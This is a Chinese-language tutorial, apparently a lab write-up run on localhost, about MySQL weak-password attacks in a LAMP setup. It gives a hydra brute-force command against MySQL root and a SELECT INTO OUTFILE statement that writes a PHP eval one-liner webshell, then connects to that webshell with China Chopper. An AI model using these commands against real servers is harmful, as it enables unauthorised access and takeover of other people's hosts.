一.了解漏洞
1.什么是MySQL
Mysql是一个开源的关系型数据库系统。由于其社区版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境。
2.MySQL弱密码漏洞是什么
在LAMP(linux+Apache+mysql+php)环境下,mysql密码弱,攻击者可以通过密码字典爆破获取mysql密码进而通过mysql向Apache服务器写入一句话php木马文件获取webshell。
二.分析漏洞原理
1.具体漏洞产生原理是什么?
因用户安装mysql时密码设置过于简单,使得mysql暴露在一个不安全的环境下。或未设置密码某些情况下默认无密码,导致MySQL暴露在不安全的>环境下。
2.漏洞结合webshell有什么危害?
当密码过于简单时,通过hydra等一些爆破软件可以爆破mysql密码,成功登入目标主机,然后写入简单的php脚本,然后通过中国菜刀连接目标apache服务器,获取信息,甚至写入更复杂的脚本,获取更多敏感信息,甚至通过提权控制整个主机乃至服务器。
三.漏洞重现与利用(在本机实验,思路相同)
1.安装配置Apache、PHP、MySQL
1 $sudo yum install httpd //安装apache服务
1 sudo yum install php //安装php
在/var/www/html/ 下创建info.php脚本
在浏览器输入 localhost/info.php ,运行效果如图
1
2 $dnf install php-mysqlnd //安装php-mysql模块
$sudo yum install mysql mysql-server //安装mysql服务,一般默认安装的是MariaDB2.MySQL安全配置
1
2
3 $systemctl start mariadb.service //开启mysql服务
$systemctl enable mariabd.service //开机启动mysql服务
$mysql_secure_installation //配置mysql密码以及其他安全配置
1 $mysql -u root -p //进入mysql3.安装hydra
1
2
3 $yum install hydra //安装hydra
$yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel
subversion-devel libncurses-devel //安装相关依赖4.使用hydra进行mysql的弱密码攻击并尝试利用mysql写入webshell,从而利用webshell进行进一步攻击
创建用于爆破的密码字典
1 $hydra -l root -P password.txt 127.0.0.1 mysql //指定用户名,密码字典以及爆破目标主机地址和服务
成功,获取到root用户的密码:123456
(hydra参数:-l 指定用户名 -L 指定用户名字典 -p 指定密码 -P 指定密码字典 -v 显示详细过程 -t 指定线程数,默认16)
1 $mysql -u root -p123456 -h 127.0.0.1 -P 3306 //登录127.0.0.1的mysql数据库成功
1
2 >use mysql //进入mysql数据库
>select ‘<?php eval($_POST[cmd]);?>’ into outfile '/var/www/html/eval.php'; //在html文件夹中写入一句话木马获取webshell
通过菜刀设置webshell并且登入
成功进入但是并没有任何进入webshell。具体原因可能是因为搭建目标时使用的php7,版本太高,不支持一句话木马,应安装php5,因为在php5环境下可以成功进入webshell。
后在github上发现因为php7过滤掉一些函数导致菜刀不能用,后根据作者提供的代码修改后成功进入。
成功进入目标服务器!